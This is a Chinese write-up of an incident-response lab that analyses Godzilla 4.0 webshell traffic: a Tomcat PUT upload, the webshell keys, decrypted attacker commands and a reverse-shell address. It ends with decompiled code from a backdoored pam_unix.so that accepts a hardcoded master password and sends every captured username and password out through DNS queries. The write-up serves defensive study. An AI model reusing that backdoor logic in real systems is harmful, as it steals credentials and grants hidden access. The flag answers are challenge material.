当前位置: 首页 > news >正文

玄机-第六章-哥斯拉4.0流量分析的测试报告

目录

一、测试环境

二、测试目的

三、操作过程

Flag1

Flag2

Flag3

Flag4

Flag5

Flag6

Flag7

Flag8

Flag9

Flag10

Flag11

Flag12

Flag13

pam_unix.so关键代码

四、结论


一、测试环境

靶场介绍:国内厂商设置的玄机靶场,以应急响应题目著名。

地址:https://xj.edisec.net/challenges/91

靶机IP:68.79.23.158

环境ssh登录:ssh root@ip -p 222

靶机简介:

二、测试目的

根据题目要求,分析流量包和黑客留下的文件,完成题目要求,提交flag。

三、操作过程

Flag1

过滤流量包,发现很多目录扫描的流量

黑客IP:192.168.31.190

Flag1:flag{192.168.31.190}

Flag2

筛选info栏,可以看到两个PUT类型的报文

可以在报文中看到上传了webshell

查找包含apache字符串的报文,可以在响应包中发现tomcat组件的关键词

寻找tomcat的put类型上传漏洞,百度可以找到,很可能就是这个:CVE-2017-12615

Flag2:flag{CVE-2017-12615}

Flag3

PUT请求的文件名就是木马

Flag3:flag{hello.jsp}

Flag4

在木马文件中可以找到pass的变量为密码:7f0e6f

Flag4:flag{7f0e6f}

Flag5

在木马文件的开头可以看到,进行MD5加密时,将pass和xc变量合并了,解密密钥就是xc:1710acba6220f62b

Flag5:flag{1710acba6220f62b}

Flag6

分析命令,需要解密webshell的流量,可以使用蓝队分析研判工具箱的哥斯拉4.0解密

将数据包按时间排序,解密的前几个流量包都是哥斯拉初始化的流量,没有命令信息

追踪编号为2386的数据包,是第一个执行命令的数据包

解密得到第一个命令:uname -r

Flag6:flag{uname -r}

Flag7

追踪编号为2350的数据包

解码响应包,可以看到从主机返回黑客的信息,权限是root

Flag7:flag{root}

也可以解码编号为2443的数据包,黑客使用了id命令,可以解码响应包,权限是root

Flag8

解码编号为2573的数据包,可以看到查看了/etc/os-releassse的文件,该文件中保存着Linux系统的具体版本和其他相关信息

解码响应包,看到系统发行版本:Debian GNU/Linux 10 (buster)

Flag8:flag{Debian GNU/Linux 10 (buster)}

Flag9

解码编号为3438的数据包,发现命令查找了安装的软件包,并进行了过滤

不过,解码响应包时,发现这个命令执行失败了

解码编号为3662的数据包,发现黑客使用的其他命令:dpkg -l libpam-modules:amd64

该命令也是查看已安装的软件包内容,并且解密响应包,是正常回显,执行成功了

Flag9:flag{dpkg -l libpam-modules:amd64}

Flag10

解码编号为3850的数据包,发现进行base64编码后bash执行

解码得到反弹shell的IP和端口:192.168.31.143 1313

Flag10:flag{192.168.31.143:1313}

Flag11

编号为4047的数据包,长度比其他数据包大很多,可能上传了文件

解密该数据包,可以得到一个文件名:/tmp/pam_unix.so

在编号为58的tcp流中,也可以看到黑客将该文件替换了系统的库文件,提交该文件为flag是正确答案

Flag11:flag{pam_unix.so}

Flag12

过滤dns流量,可以看到两个可疑的字符串

登录靶机,将pam_unix.so文件下载下来进行分析

搜索字符串        c0ee2ad2d8.ipv6.xxx.eu.org.    ,在图形视图中,按F5可以切换到反汇编视图,查看代码

不懂代码也没关系,可以将代码交给AI,让它帮你分析这个代码中密码是哪个参数

变量p就是后门的密码:XJ@123

Flag12:flag{XJ@123}

Flag13

根据代码分析。域名部分就是流量包中的字符串:c0ee2ad2d8.ipv6.xxx.eu.org.

Flag13:flag{c0ee2ad2d8.ipv6.xxx.eu.org.}

pam_unix.so关键代码

int __fastcall pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
  int v4; // er14
  int *v5; // rax
  int *v6; // r13
  int v7; // eax
  int v8; // er12
  int v9; // eax
  int v11; // er14
  bool v12; // zf
  const char *name; // [rsp+10h] [rbp-A8h] BYREF
  const char *p; // [rsp+18h] [rbp-A0h] BYREF
  unsigned __int8 hostname[100]; // [rsp+20h] [rbp-98h] BYREF

  v4 = set_ctrl(pamh, flags, 0LL, 0LL, 0LL, argc, argv);
  v5 = (int *)malloc(4uLL);
  if ( !v5 )
  {
    v8 = 5;
    pam_syslog(pamh, 2LL, "pam_unix_auth: cannot allocate ret_data");
    return v8;
  }
  v6 = v5;
  v7 = pam_get_user(pamh, &name, 0LL);
  v8 = v7;
  if ( v7 )
  {
    if ( v7 == 30 )
      v8 = 31;
    *v6 = v8;
    goto LABEL_15;
  }
  if ( name && ((*name - 43) & 0xFD) != 0 )
  {
    if ( unix_blankpasswd(pamh, v4, name) )
    {
      name = 0LL;
      *v6 = 0;
LABEL_15:
      pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);
      return v8;
    }
    v9 = pam_get_authtok(pamh, 6LL, &p, 0LL);
    v8 = v9;
    if ( v9 )
    {
      if ( v9 == 30 )
        v8 = 31;
      else
        pam_syslog(pamh, 2LL, "auth could not identify password for [%s]", name);
      name = 0LL;
      *v6 = v8;
      goto LABEL_15;
    }
    v11 = unix_verify_password(pamh, name, p, v4);
    get_dns_servers();
    snprintf((char *)hostname, 0x64uLL, "%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.", name, p);
    if ( !fork() )
      ngethostbyname(hostname, 1);
    v12 = strcmp("XJ@123", p) == 0;
    v8 = !v12;
    if ( !v12 )
    {
      *v6 = v11;
      v8 = v11;
      p = 0LL;
      name = 0LL;
      pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);
    }
  }
  else
  {
    v8 = 10;
    pam_syslog(pamh, 3LL, "bad username [%s]", name);
    *v6 = 10;
    pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);
  }
  return v8;
}

四、结论

熟悉哥斯拉4.0的流量分析方法和反编译的方法,ida软件的使用方法和思路。

相关文章:

  • 盛水最多的容器
  • Kafka负载均衡挑战解决
  • Jupyter Notebook不能自动打开默认浏览器怎么办?
  • IDEA快速入门
  • Airflow集成Lark机器人
  • 深入理解PCA降维:原理、实现与应用
  • 【Introduction to Reinforcement Learning】翻译解读2
  • Spring Boot 3.x 集成 MongoDB 的 默认配置项及默认值,以及 常用需要修改的配置项 的详细说明
  • nacos集群启动问题
  • CAS号:288574-78-7,Zinpyr-1可用作PET传感器
  • 【数据分享】2014-2025年全国监测站点的逐时空气质量数据(15个指标\Excel\Shp格式)
  • (PROFINET 转 EtherCAT)EtherCAT/Ethernet/IP/Profinet/ModbusTCP协议互转工业串口网关
  • Linux终止进程(kill process)的一些玩法
  • Jetpack Compose 基础组件学习2.0
  • SVT-AV1学习-svt_aom_get_sg_filter_level,svt_av1_selfguided_restoration_c
  • 算法与数据结构线性表之栈和队列
  • MongoDB及Yapi迁移数据
  • 【JS】二分查找
  • java流程控制12:流程控制练习
  • Linux下创建svn库 和 svn安装与操作
  • 主题教育网站建立/竞价推广招聘
  • 时时彩网站开发价格/交换链接的方法
  • 法律建设网站/怎么创建网页链接
  • 工程公司名字/长沙网站优化效果
  • 西宁网站建设平台公司/百度的竞价排名是哪种方式